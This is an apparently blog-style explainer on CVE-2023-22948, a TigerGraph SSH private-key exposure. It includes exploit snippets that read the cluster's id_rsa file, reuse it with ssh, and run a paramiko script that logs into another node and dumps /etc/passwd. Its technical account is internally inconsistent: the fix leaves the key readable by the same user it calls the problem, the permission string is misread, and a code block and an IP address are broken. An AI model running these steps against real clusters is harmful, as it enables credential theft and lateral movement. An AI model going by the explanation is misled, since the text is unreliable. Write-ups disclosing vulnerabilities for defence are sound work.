CVE-2023-22948 - How a Simple Misconfiguration in TigerGraph Exposed Private SSH Keys

In early 2023, a critical vulnerability was discovered in TigerGraph Enterprise Free Edition 3.x. Labeled CVE-2023-22948, this flaw allows attackers to access sensitive SSH private keys without any extra privileges, which could have a catastrophic impact on the security of your TigerGraph deployment.

In this article, we'll break down what happened, how you can spot if your system is affected, and what you should do to secure your cluster. We’ll also show you sample code snippets illustrating just how easily an attacker could exploit this bug.

What is CVE-2023-22948?

TigerGraph is a popular platform for real-time graph analytics. In distributed setups, multiple machines in the cluster need to communicate securely—usually through SSH.

CVE-2023-22948 is all about unsecured permissions on the SSH private key used by the cluster’s main user, tigergraph. In versions 3.x of the TigerGraph Enterprise Free Edition, any process running as the tigergraph user can freely read the SSH private key from disk.

That means that any person or code with access to the tigergraph account can snatch up the SSH key and use it to SSH into every other cluster node—no password required.

This can open the door to cluster-wide compromise and is especially dangerous in multi-tenant or shared setups.

Why Does This Matter?

SSH keys are like gold for attackers. If someone can read your private SSH key, they can pretend to be you and go wherever you can go. In a TigerGraph cluster, this means full access across every machine. An attacker doesn't need extra exploits or fancy tricks—just a basic read of a file.

CVE: CVE-2023-22948

- Permission issue: The private SSH key (id_rsa or similar) is readable by the tigergraph user and not restricted to root access.

Usually, the SSH private key for cluster authentication is stored at

/home/tigergraph/.ssh/id_rsa

or, sometimes,

/opt/tigergraph/.ssh/id_rsa

Permissions might look like this (bad)

-rw-r--r-- 1 tigergraph tigergraph 1679 Jan 20 12:34 /home/tigergraph/.ssh/id_rsa

Notice the permissions: Owner can read/write, and everyone in the tigergraph group can also read.

Exploit Details with Code Snippet

Let’s see how a local attacker (or a malicious script) with access to tigergraph could grab the key and use it.

Dump the key to a file or directly print it

# python3 code running as 'tigergraph' user
with open('/home/tigergraph/.ssh/id_rsa', 'r') as key_file:
    private_key = key_file.read()

print(private_key)

Or, the classic shell way

cat /home/tigergraph/.ssh/id_rsa

Step 2: Use the Stolen Key for SSH Access

Now, copy the contents of the private key to your own local machine and connect to any node in the cluster:

# Save the dumped key as 'stolen_id_rsa'
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa tigergraph@<other-node-ip>

No password needed—just immediate access to all cluster nodes as the TigerGraph user.

Here’s a tiny but complete exploit snippet

import paramiko

# Assuming you got the private key content from the cluster:
key = paramiko.RSAKey.from_private_key_file('stolen_id_rsa')

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('10...2', username='tigergraph', pkey=key)

stdin, stdout, stderr = ssh.exec_command('cat /etc/passwd')
print(stdout.read().decode())
ssh.close()

How to Fix

TigerGraph issued a security advisory for this flaw. Here's what you should do:

`shell

chmod 600 /home/tigergraph/.ssh/id_rsa
chown tigergraph:tigergraph /home/tigergraph/.ssh/id_rsa

Summary

CVE-2023-22948 is a prime example of how critical proper file permissions are, especially when it comes to keys. In distributed data platforms like TigerGraph, even a small misconfiguration can lead to cluster-wide compromise.

Please double-check your keys, apply all available patches, and always follow security best practices.

Timeline

Published on: 04/13/2023 19:15:00 UTC
Last modified on: 05/04/2023 13:32:00 UTC